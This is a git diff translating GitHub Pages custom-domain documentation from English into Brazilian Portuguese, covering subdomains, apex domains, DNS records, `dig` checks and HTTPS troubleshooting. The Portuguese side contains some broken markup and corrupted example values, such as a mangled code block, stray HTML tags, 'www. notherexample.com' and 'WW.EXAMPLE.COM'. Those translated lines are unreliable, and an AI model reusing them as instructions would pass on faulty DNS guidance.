-{% data variables.product.prodname_pages %} works with two types of domains: subdomains and apex domains. For a list of unsupported custom domains, see "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)."
+O {% data variables.product.prodname_pages %} trabalha com dois tipos de domínio: subdomínios e domínios apex. Para obter uma lista de domínios personalizados não compatíveis, consulte "[Solução de problemas de domínios personalizados e {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)".
 
-| Supported custom domain type | Example |
-|---|---|
-| `www` subdomain | `www.example.com` |
-| Custom subdomain | `blog.example.com` |
-| Apex domain        | `example.com` |
+| Tipo de domínio personalizado compatível | Exemplo            |
+| ---------------------------------------- | ------------------ |
+| Subdomínio `www`                         | `www.example.com`  |
+| Subdomínio personalizado                 | `blog.example.com` |
+| Domínio apex                             | `example.com`      |
 
-You can set up either or both of apex and `www` subdomain configurations for your site. For more information on apex domains, see "[Using an apex domain for your {% data variables.product.prodname_pages %} site](#using-an-apex-domain-for-your-github-pages-site)."
+Você pode definir as duas configurações apex e subdomínio de `www` para o seu site. Para obter mais informações sobre domínios apex, consulte "[Usar um domínio apex para o seu site {% data variables.product.prodname_pages %}](#using-an-apex-domain-for-your-github-pages-site)".
 
-We recommend always using a `www` subdomain, even if you also use an apex domain. When you create a new site with an apex domain, we automatically attempt to secure the `www` subdomain for use when serving your site's content. If you configure a `www` subdomain, we automatically attempt to secure the associated apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+É recomendável sempre usar um subdomínio `www`, mesmo se você também usar um domínio apex. Ao criar um novo site com um domínio apex, tentamos proteger automaticamente o subdomínio `www` para uso ao servir o conteúdo do seu site. Se você configurar um subdomínio `www`, nós tentaremos proteger automaticamente o domínio apex associado. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".
 
-After you configure a custom domain for a user or organization site, the custom domain will replace the `<user>.github.io` or `<organization>.github.io` portion of the URL for any project sites owned by the account that do not have a custom domain configured. For example, if the custom domain for your user site is `www.octocat.com`, and you have a project site with no custom domain configured that is published from a repository called `octo-project`, the {% data variables.product.prodname_pages %} site for that repository will be available at `www.octocat.com/octo-project`.
+Depois que você configurar um domínio personalizado para um site de usuário ou organização, o domínio personalizado substituirá a parte `<user>.github.io` ou `<organization>.github.io` da URL para qualquer site de projeto de propriedade da conta que não tenha um domínio personalizado configurado. Por exemplo, se o domínio personalizado para o site de usuário for `www.octocat.com` e você tiver um site de projeto sem domínio personalizado configurado que seja publicado de um repositório chamado `octo-project`, o site do {% data variables.product.prodname_pages %} para esse repositório estará disponível em `www.octocat.com/octo-project`.
 
-## Using a subdomain for your {% data variables.product.prodname_pages %} site
+## Usar um subdomínio para seu site do {% data variables.product.prodname_pages %}
 
-A subdomain is the part of a URL before the root domain. You can configure your subdomain as `www` or as a distinct section of your site, like `blog.example.com`.
+Um subdomínio é a parte de um URL antes do domínio raiz. Você pode configurar seu subdomínio como `www` ou como uma seção distinta do seu site, como `blog.example.com.`.
 
-Subdomains are configured with a `CNAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)."
+Os subdomínios são configurados com um registro `CNAME` por meio do provedor DNS. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)".
 
-### `www` subdomains
+### Subdomínios `www`
 
-A `www` subdomain is the most commonly used type of subdomain. For example, `www.example.com` includes a `www` subdomain.
+Um subdomínio `www` é o tipo de subdomínio usado com mais frequência. Por exemplo, `www.example.com` inclui um subdomínio `www`.
 
-`www` subdomains are the most stable type of custom domain because `www` subdomains are not affected by changes to the IP addresses of {% data variables.product.product_name %}'s servers.
+Os subdomínios `www` são o tipo mais estável de domínio personalizado, pois os subdomínios `www` não são afetados pelas alterações nos endereços IP dos servidores do {% data variables.product.product_name %}.
 
-### Custom subdomains
+### Subdomínios personalizados
 
-A custom subdomain is a type of subdomain that doesn't use the standard `www` variant. Custom subdomains are mostly used when you want two distinct sections of your site. For example, you can create a site called `blog.example.com` and customize that section independently from `www.example.com`.
+Um subdomínio personalizado é um tipo de subdomínio que não usa a variante padrão `www`. Os subdomínios personalizados são usados mais frequentemente quando você deseja duas seções distintas do site. Por exemplo, você pode criar um site chamado `blog.example.com.` e personalizar essa seção independentemente de `www.example.com`.
 
-## Using an apex domain for your {% data variables.product.prodname_pages %} site
+## Usar um domínio apex para seu site do {% data variables.product.prodname_pages %}
 
-An apex domain is a custom domain that does not contain a subdomain, such as `example.com`. Apex domains are also known as base, bare, naked, root apex, or zone apex domains.
+Um domínio apex é um domínio personalizado que não contém um subdomínio, como `example.com`. Os domínios apex também são conhecidos como domínios base, bare, naked, apex raiz ou apex de zona.
 
-An apex domain is configured with an `A`, `ALIAS`, or `ANAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)."
+Um domínio apex é configurado com um registro `A`, `ALIAS` ou `ANAME` por meio do provedor DNS. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)".
 
-{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)."
+{% data reusables.pages.www-and-apex-domain-recommendation %} Para obter mais informações, consulte "[Gerenciar um domínio personalizado para o seu site de {% data variables.product.prodname_pages %}](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)".
 
-## Securing the custom domain for your {% data variables.product.prodname_pages %} site
+## Protegendo o domínio personalizado para o seu site do {% data variables.product.prodname_pages %}
 
-{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+{% data reusables.pages.secure-your-domain %} Para obter mais informações, consulte "[Verificando o seu domínio personalizado para {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" e "[Gerenciando um domínio personalizado para o site do seu {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)."
 
-There are a couple of reasons your site might be automatically disabled.
+Há alguns motivos para que seu site possa ser desabilitado automaticamente.
 
-- If you downgrade from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, any {% data variables.product.prodname_pages %} sites that are currently published from private repositories in your account will be unpublished. For more information, see "[Downgrading your {% data variables.product.prodname_dotcom %} billing plan](/articles/downgrading-your-github-billing-plan)."
-- If you transfer a private repository to a personal account that is using {% data variables.product.prodname_free_user %}, the repository will lose access to the {% data variables.product.prodname_pages %} feature, and the currently published {% data variables.product.prodname_pages %} site will be unpublished. For more information, see "[Transferring a repository](/articles/transferring-a-repository)."
+- Se você fizer downgrade do {% data variables.product.prodname_pro %} para o {% data variables.product.prodname_free_user %}, qualquer site do {% data variables.product.prodname_pages %} que esteja publicado no momento usando repositórios privados em sua conta terão a publicação cancelada. Para obter mais informações, consulte "[Fazer downgrade do plano de cobrança do {% data variables.product.prodname_dotcom %}](/articles/downgrading-your-github-billing-plan)".
+- Se você transferir um repositório privado para uma conta pessoal que esteja usando o {% data variables.product.prodname_free_user %}, o repositório perderá o acesso ao recurso {% data variables.product.prodname_pages %} e o site do {% data variables.product.prodname_pages %} atualmente publicado terá a publicação cancelada. Para obter mais informações, consulte "[Transferir um repositório](/articles/transferring-a-repository)".
 
-## Further reading
+## Leia mais
 
-- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
+- "[Solucionar problemas de domínios personalizados e do {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
diff --git a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
index df8f8b376f..26806f4383 100644
--- a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
+++ b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a custom domain for your GitHub Pages site
-intro: 'You can customize the domain name of your {% data variables.product.prodname_pages %} site.'
+title: Configurar um domínio personalizado para o site do GitHub Pages
+intro: 'É possível personalizar o nome de domínio do site do {% data variables.product.prodname_pages %}.'
 redirect_from:
   - /articles/tips-for-configuring-an-a-record-with-your-dns-provider
   - /articles/adding-or-removing-a-custom-domain-for-your-github-pages-site
@@ -22,5 +22,6 @@ children:
   - /managing-a-custom-domain-for-your-github-pages-site
   - /verifying-your-custom-domain-for-github-pages
   - /troubleshooting-custom-domains-and-github-pages
-shortTitle: Configure a custom domain
+shortTitle: Configurar um domínio personalizado
 ---
+
diff --git a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
index 025d260cef..d480d6a2b7 100644
--- a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
+++ b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Managing a custom domain for your GitHub Pages site
-intro: 'You can set up or update certain DNS records and your repository settings to point the default domain for your {% data variables.product.prodname_pages %} site to a custom domain.'
+title: Gerenciar um domínio personalizado do seu site do GitHub Pages
+intro: 'É possível definir ou atualizar determinados registros DNS e as configurações de repositório para apontar o domínio padrão do seu site do {% data variables.product.prodname_pages %} para um domínio personalizado.'
 redirect_from:
   - /articles/quick-start-setting-up-a-custom-domain
   - /articles/setting-up-an-apex-domain
@@ -17,41 +17,40 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Manage a custom domain
+shortTitle: Gerenciar um domínio personalizado
 ---
 
-People with admin permissions for a repository can configure a custom domain for a {% data variables.product.prodname_pages %} site.
+Pessoas com permissões de administrador para um repositório podem configurar um domínio personalizado de um site do {% data variables.product.prodname_pages %}.
 
-## About custom domain configuration
+## Sobre a configuração de domínio personalizado
 
-Make sure you add your custom domain to your {% data variables.product.prodname_pages %} site before configuring your custom domain with your DNS provider. Configuring your custom domain with your DNS provider without adding your custom domain to {% data variables.product.product_name %} could result in someone else being able to host a site on one of your subdomains.
+Lembre-se de adicionar o domínio personalizado ao seu site do {% data variables.product.prodname_pages %} antes de configurar o domínio personalizado com o provedor DNS. Se você configurar o domínio personalizado com o provedor DNS sem adicioná-lo ao {% data variables.product.product_name %}, outra pessoa conseguirá hospedar um site em um dos seus subdomínios.
 
 {% windows %}
 
-The `dig` command, which can be used to verify correct configuration of DNS records, is not included in Windows. Before you can verify that your DNS records are configured correctly, you must install [BIND](https://www.isc.org/bind/).
+O comando `dig`, que pode ser usado para verificar a configuração correta dos registros DNS, não está incluído no Windows. Antes de verificar se os registros DNS estão configurados corretamente, você deve instalar [BIND](https://www.isc.org/bind/).
 
 {% endwindows %}
 
 {% note %}
 
-**Note:** DNS changes can take up to 24 hours to propagate.
+**Observação:** as alterações no DNS podem levar até 24 horas para serem propagadas.
 
 {% endnote %}
 
-## Configuring a subdomain
+## Configurando um subdomínio
 
-To set up a `www` or custom subdomain, such as `www.example.com` or `blog.example.com`, you must add your domain in the repository settings, which will create a CNAME file in your site’s repository. After that, configure a CNAME record with your DNS provider.
+Para configurar um `www` ou um subdomínio personalizado como, por exemplo, `www.example.com` ou `blog.example.com`, você deve adicionar seu domínio nas configurações do repositório, o que criará um arquivo CNAME no repositório do seu site. Em seguida, configure um registro CNAME com seu provedor DNS.
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain", type your custom domain, then click **Save**. This will create a commit that adds a _CNAME_ file in the root of your publishing source.
-  ![Save custom domain button](/assets/images/help/pages/save-custom-subdomain.png)
-5. Navigate to your DNS provider and create a `CNAME` record that points your subdomain to the default domain for your site. For example, if you want to use the subdomain `www.example.com` for your user site, create a `CNAME` record that points `www.example.com` to `<user>.github.io`. If you want to use the subdomain `www.anotherexample.com` for your organization site, create a `CNAME` record that points `www.anotherexample.com` to `<organization>.github.io`. The `CNAME` record should always point to `<user>.github.io` or `<organization>.github.io`, excluding the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
+4. Em "Domínio personalizado,", digite o seu domínio personalizado e clique em **Salvar**. Isso criará um commit que adiciona um arquivo _CNAME_ à raiz da sua fonte de publicação. ![Botão Salvar domínio personalizado](/assets/images/help/pages/save-custom-subdomain.png)
+5. Navegue até o provedor DNS e crie um registro `CNAME` que aponte seu subdomínio para o domínio padrão do seu site. Por exemplo, se você quiser usar o subdomínio `www.example.com` para seu site de usuário, crie um registro `CNAME` que aponte `www.example.com` para `<user>.github.io`. Se você desejar usar o subdomínio `www.anotherexample.com` no seu site da organização, crie um registro `CNAME` que aponte `www. notherexample.com` para `<organization>.github.io`. O registro `CNAME` sempre deve apontar para `<user>.github.io` ou `<organization>.github.io`, excluindo o nome do repositório. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
 
 {% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
-6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your subdomain.
+6. Para confirmar que o registro DNS foi configurado corretamente, use o comando `dig`, substituindo _WW.EXAMPLE.COM_ pelo seu subdomínio.
 ```shell
     $ dig <em>WWW.EXAMPLE.COM</em> +nostats +nocomments +nocmd
     > ;<em>WWW.EXAMPLE.COM.</em>                     IN      A
@@ -62,38 +61,36 @@ To set up a `www` or custom subdomain, such as `www.example.com` or `blog.exampl
 {% data reusables.pages.build-locally-download-cname %}
 {% data reusables.pages.enforce-https-custom-domain %}
 
-## Configuring an apex domain
+## Configurando um domínio apex
 
-To set up an apex domain, such as `example.com`, you must configure a _CNAME_ file  in your {% data variables.product.prodname_pages %} repository and at least one `ALIAS`, `ANAME`, or `A` record with your DNS provider.
+Para configurar um domínio apex, como `example.com`, você deve configurar um arquivo</em> CNAME_ no seu repositório de {% data variables.product.prodname_pages %} e pelo menos um `ALIAS`, `ANAME` ou um registro `A` com seu provedor DNS.</p>
 
-{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Configuring a subdomain](#configuring-a-subdomain)."
+{% data reusables.pages.www-and-apex-domain-recommendation %} Para obter mais informações, consulte "[Configurar um subdomínio](#configuring-a-subdomain)".
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain", type your custom domain, then click **Save**. This will create a commit that adds a _CNAME_ file in the root of your publishing source.
-  ![Save custom domain button](/assets/images/help/pages/save-custom-apex-domain.png)
-5. Navigate to your DNS provider and create either an `ALIAS`, `ANAME`, or `A` record. You can also create `AAAA` records for IPv6 support. {% data reusables.pages.contact-dns-provider %}
-    - To create an `ALIAS` or `ANAME` record, point your apex domain to the default domain for your site. {% data reusables.pages.default-domain-information %}
-    - To create `A` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}.
+4. Em "Domínio personalizado,", digite o seu domínio personalizado e clique em **Salvar**. Isso criará um commit que adiciona um arquivo _CNAME_ à raiz da sua fonte de publicação. ![Botão Salvar domínio personalizado](/assets/images/help/pages/save-custom-apex-domain.png)
+5. Navegue até o provedor DNS e crie um registro `ALIAS`, `ANAME` ou `A`. Você também pode criar registros de `AAAA` para suporte ao IPv6. {% data reusables.pages.contact-dns-provider %}
+    - Para criar um registro `ALIAS` ou `ANAME`, aponte o domínio apex para o domínio padrão do seu site. {% data reusables.pages.default-domain-information %}
+    - Para criar registros `A`, aponte seu domínio apex para os endereços IP para {% data variables.product.prodname_pages %}.
       ```shell
       185.199.108.153
       185.199.109.153
       185.199.110.153
       185.199.111.153
       ```
-    - To create `AAAA` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}.
-      ```shell
-      2606:50c0:8000::153
+    - Para criar os registros de </code>AAAA`, aponte o seu domínio apex para os endereços IP para {% data variables.product.prodname_pages %}.
+<pre><code class="shell">      2606:50c0:8000::153
       2606:50c0:8001::153
       2606:50c0:8002::153
       2606:50c0:8003::153
-      ```
+`</pre>
 
 {% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
-6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _EXAMPLE.COM_ with your apex domain. Confirm that the results match the IP addresses for {% data variables.product.prodname_pages %} above.
-   - For `A` records.
+6. Para confirmar que o registro DNS foi configurado corretamente, use o comando `dig`, substituindo _WW.EXAMPLE.COM_ pelo domínio apex. Confirme que os resultados correspondem aos endereços IP do {% data variables.product.prodname_pages %} acima.
+   - Para registros de `A`.
     ```shell
     $ dig <em>EXAMPLE.COM</em> +noall +answer -t A
     > <em>EXAMPLE.COM</em>     3600    IN A     185.199.108.153
@@ -101,7 +98,7 @@ To set up an apex domain, such as `example.com`, you must configure a _CNAME_ fi
     > <em>EXAMPLE.COM</em>     3600    IN A     185.199.110.153
     > <em>EXAMPLE.COM</em>     3600    IN A     185.199.111.153
     ```
-   - For `AAAA` records.
+   - Para registros `AAAA`.
     ```shell
     $ dig <em>EXAMPLE.COM</em> +noall +answer -t AAAA
     > <em>EXAMPLE.COM</em>     3600    IN AAAA     2606:50c0:8000::153
@@ -112,16 +109,16 @@ To set up an apex domain, such as `example.com`, you must configure a _CNAME_ fi
 {% data reusables.pages.build-locally-download-cname %}
 {% data reusables.pages.enforce-https-custom-domain %}
 
-## Configuring an apex domain and the `www` subdomain variant
+## Configurar um domínio apex e a variante de subdomínio `www`
 
-When using an apex domain, we recommend configuring your {% data variables.product.prodname_pages %} site to host content at both the apex domain and that domain's `www` subdomain variant.
+Ao usar um domínio apex, recomendamos que você configure o seu site de {% data variables.product.prodname_pages %} para hospedar o conteúdo tanto no domínio apex quanto na variante de subdomínio `www`.
 
-To set up a `www` subdomain alongside the apex domain, you must first configure an apex domain, which will create an `ALIAS`, `ANAME`, or `A` record with your DNS provider. For more information, see "[Configuring an apex domain](#configuring-an-apex-domain)."
+Para configurar um subdomínio de `www` junto com o domínio apex, você deve primeiro configurar um domínio apex, que irá criar um `ALIAS`, `ANAME` ou registro `A` junto ao seu provedor DNS. Para obter mais informações, consulte "[Configurar um domínio apex](#configuring-an-apex-domain)".
 
-After you configure the apex domain, you must configure a CNAME record with your DNS provider.
+Depois de configurar o domínio apex, você deverá configurar um registro CNAME com seu provedor DNS.
 
-1. Navigate to your DNS provider and create a `CNAME` record that points `www.example.com` to the default domain for your site: `<user>.github.io` or `<organization>.github.io`. Do not include the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
-2. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your `www` subdomain variant.
+1. Acesse o provedor DNS e crie um registro `CNAME` que aponte `www.example.com` para o domínio padrão do seu site: `<user>.github.io` ou `<organization>.github.io`. Não inclua o nome do repositório. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
+2. Para confirmar que o registro DNS foi configurado corretamente, use o comando `dig` substituindo _WWW.EXAMPLE.COM_ pela sua variante de subdomínio `www`.
 ```shell
     $ dig <em>WWW.EXAMPLE.COM</em> +nostats +nocomments +nocmd
     > ;<em>WWW.EXAMPLE.COM.</em>                     IN      A
@@ -129,18 +126,17 @@ After you configure the apex domain, you must configure a CNAME record with your
     > <em>YOUR-USERNAME</em>.github.io.      43192   IN      CNAME   <em> GITHUB-PAGES-SERVER </em>.
     > <em> GITHUB-PAGES-SERVER </em>.         22      IN      A       192.0.2.1
 ```
-## Removing a custom domain
+## Remover um domínio personalizado
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain," click **Remove**.
-  ![Save custom domain button](/assets/images/help/pages/remove-custom-domain.png)
+4. Em "Domínio personalizado, clique em **Remover**. ![Botão Salvar domínio personalizado](/assets/images/help/pages/remove-custom-domain.png)
 
-## Securing your custom domain
+## Protegendo seu domínio personalizado
 
-{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."
+{% data reusables.pages.secure-your-domain %} Para obter mais informações, consulte "[Verificando seu domínio personalizado para {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)".
 
-## Further reading
+## Leia mais
 
-- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
+- "[Solucionar problemas de domínios personalizados e do {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
diff --git a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
index 892a5af812..fba7eb6fc6 100644
--- a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
+++ b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting custom domains and GitHub Pages
-intro: 'You can check for common errors to resolve issues with custom domains or HTTPS for your {% data variables.product.prodname_pages %} site.'
+title: Solucionar problemas de domínios personalizados e do GitHub Pages
+intro: 'Você pode verificar os erros comuns para resolver problemas com domínios personalizados ou HTTPS no seu site do {% data variables.product.prodname_pages %}.'
 redirect_from:
   - /articles/my-custom-domain-isn-t-working
   - /articles/custom-domain-isn-t-working
@@ -13,58 +13,58 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Troubleshoot a custom domain
+shortTitle: Solucione o problema de um domínio personalizado
 ---
 
-## _CNAME_ errors
+## Erros _CNAME_
 
-Custom domains are stored in a _CNAME_ file in the root of your publishing source. You can add or update this file through your repository settings or manually. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+Os domínios personalizados são armazenados em um arquivo _CNAME_ na raiz da fonte de publicação que pode ser adicionado ou atualizado manualmente ou por meio das configurações do repositório. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".
 
-For your site to render at the correct domain, make sure your _CNAME_ file still exists in the repository. For example, many static site generators force push to your repository, which can overwrite the _CNAME_ file that was added to your repository when you configured your custom domain. If you build your site locally and push generated files to {% data variables.product.product_name %}, make sure to pull the commit that added the _CNAME_ file to your local repository first, so the file will be included in the build.
+Para que o site seja renderizado no domínio correto, verifique se o arquivo _CNAME_ ainda existe no repositório. Por exemplo, muitos geradores de site estáticos fazem push forçado para o repositório, o que pode substituir o arquivo _CNAME_ que foi adicionado ao repositório quando você configurou o domínio personalizado. Se você criar o site localmente e fizer push dos arquivos gerados para o {% data variables.product.product_name %}, primeiro insira o commit que adicionou o arquivo _CNAME_ ao repositório local, para que o arquivo seja incluído na criação.
 
-Then, make sure the _CNAME_ file is formatted correctly.
+Em seguida, verifique se o arquivo _CNAME_ está formatado corretamente.
 
-- The _CNAME_ filename must be all uppercase.
-- The _CNAME_ file can contain only one domain. To point multiple domains to your site, you must set up a redirect through your DNS provider.
-- The _CNAME_ file must contain the domain name only. For example, `www.example.com`, `blog.example.com`, or `example.com`.
-- The domain name must be unique across all {% data variables.product.prodname_pages %} sites. For example, if another repository's _CNAME_ file contains `example.com`, you cannot use `example.com` in the _CNAME_ file for your repository.
+- O nome de arquivo _CNAME_ deve estar todo em letras maiúsculas.
+- O arquivo _CNAME_ só pode conter um domínio. Para apontar vários domínios para o site, é preciso configurar um redirecionamento por meio do provedor DNS.
+- O arquivo _CNAME_ deve conter apenas o nome do domínio. Por exemplo, `www.example.com`, `blog.example.com` ou `example.com`.
+- O nome de domínio precisa ser único em todos os sites de {% data variables.product.prodname_pages %}. Por exemplo, se o arquivo _CNAME_ de outro repositório contiver `example.com`, você não poderá usar `example.com` no arquivo _CNAME_ para o repositório.
 
-## DNS misconfiguration
+## Configuração incorreta do DNS
 
-If you have trouble pointing the default domain for your site to your custom domain, contact your DNS provider.
+Se você tiver problemas para apontar o domínio padrão do site para o domínio personalizado, entre em contato com seu provedor DNS.
 
-You can also use one of the following methods to test whether your custom domain's DNS records are configured correctly:
+Você também pode usar um dos seguintes métodos para testar se os registros DNS do seu domínio personalizado estão configurados corretamente:
 
-- A CLI tool such as `dig`. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)".
-- An online DNS lookup tool.
+- Uma ferramenta CLI como `dig`. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para o seu site de {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".
+- Uma ferramenta de pesquisa de DNS on-line.
 
-## Custom domain names that are unsupported
+## Nomes de domínios personalizados que não são compatíveis
 
-If your custom domain is unsupported, you may need to change your domain to a supported domain. You can also contact your DNS provider to see if they offer forwarding services for domain names.
+Se o seu domínio personalizado não for compatível, talvez você precise alterá-lo para um que tenha suporte. Você também pode entrar em contato com seu provedor DNS para ver se ele oferece serviços de encaminhamento para nomes de domínio.
 
-Make sure your site does not:
-- Use more than one apex domain. For example, both `example.com` and `anotherexample.com`.
-- Use more than one `www` subdomain. For example, both `www.example.com` and `www.anotherexample.com`.
-- Use both an apex domain and custom subdomain. For example, both `example.com` and `docs.example.com`.
+Verifique se o seu site não:
+- Usa mais de um domínio apex. Por exemplo, `example.com` e `anotherexample.com`.
+- Usa mais de um subdomínio `www`. Por exemplo, `www.example.com` e `www.anotherexample.com`.
+- Usa um domínio apex e um subdomínio personalizado. Por exemplo, `example.com` e `docs.example.com`.
 
-  The one exception is the `www` subdomain. If configured correctly, the `www` subdomain is automatically redirected to the apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)."
+  A única exceção é o subdomínio `www`. Se configurado corretamente, o subdomínio `www` é automaticamente redirecionado para o domínio apex. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)".
 
 {% data reusables.pages.wildcard-dns-warning %}
 
-For a list of supported custom domains, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages/#supported-custom-domains)."
+Para obter uma lista de domínios personalizados compatíveis, consulte "[Sobre domínios personalizados e o {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages/#supported-custom-domains)".
 
-## HTTPS errors
+## Erros de HTTPS
 
-{% data variables.product.prodname_pages %} sites using custom domains that are correctly configured with `CNAME`, `ALIAS`, `ANAME`, or `A` DNS records can be accessed over HTTPS. For more information, see "[Securing your {% data variables.product.prodname_pages %} site with HTTPS](/articles/securing-your-github-pages-site-with-https)."
+É possível acessar por HTTPS os sites do {% data variables.product.prodname_pages %} que usem domínios personalizados e estejam corretamente configurados com registros DNS `CNAME`, `ALIAS`, `ANAME` ou `A`. Para obter mais informações, consulte "[Proteger seu site do {% data variables.product.prodname_pages %} com HTTPS](/articles/securing-your-github-pages-site-with-https)".
 
-It can take up to an hour for your site to become available over HTTPS after you configure your custom domain. After you update existing DNS settings, you may need to remove and re-add your custom domain to your site's repository to trigger the process of enabling HTTPS. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+Depois que você configurar seu domínio personalizado, pode levar até uma hora para o seu site ser disponibilizado por HTTPS. Após a atualização das configurações DNS existentes, talvez seja necessário remover o domínio personalizado e tornar a adicioná-lo ao repositório do site para acionar o processo de habilitação do HTTPS. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".
 
-If you're using Certification Authority Authorization (CAA) records, at least one CAA record must exist with the value `letsencrypt.org` for your site to be accessible over HTTPS. For more information, see "[Certificate Authority Authorization (CAA)](https://letsencrypt.org/docs/caa/)" in the Let's Encrypt documentation.
